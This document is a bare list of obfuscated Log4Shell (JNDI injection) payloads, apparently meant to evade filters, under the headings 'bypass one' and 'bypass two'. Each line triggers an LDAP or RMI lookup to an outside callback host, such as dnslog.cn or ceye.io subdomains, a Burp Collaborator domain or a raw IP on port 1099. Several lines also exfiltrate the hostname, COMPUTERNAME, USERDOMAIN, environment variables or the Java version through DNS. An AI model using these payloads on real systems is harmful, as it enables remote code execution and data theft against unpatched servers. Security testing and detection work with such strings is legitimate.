bypass one
${jndi:ldap://8d43391d.dns.1433.eu.org/exp}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://aj16b9.dnslog.cn/sploit}
${${::-j}ndi:rmi://bg1ew6.dnslog.cn/sploit}
${jndi:rmi://az8kzc.dnslog.cn}
${${lower:jndi}:${lower:rmi}://bg1ew6.dnslog.cn/sploit}
${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}
${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://bg1ew6.dnslog.cn/sploit}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.aj16b9.dnslog.cn}
${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.8d43391d.dns.1433.eu.org}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${grbln2r6rzyi1m80s5c53skx9ofe33.burpcollaborator.net}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.aj16b9.dnslog.cn
bypass two
${${::-${::-$${::-j}}}}
${\u006a\u006e\u0064\u0069:ldap://t3658g.ceye.io/z}
%24%7Bjndi%3Aldap%3A%2F%2F%24%7BhostName%7D.t3658g.ceye.io%2Ft%7D
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'l'}${date:'d'}${date:'a'}${date:'p'}://t3658g.ceye.io:${java:version}/z}
${${date:'j'}${date:'n'}${date:'d'}${date:'i'}:${date:'r'}${date:'m'}${date:'i'}://8.142.66.154:1099/x75rrn:${java:version}/z}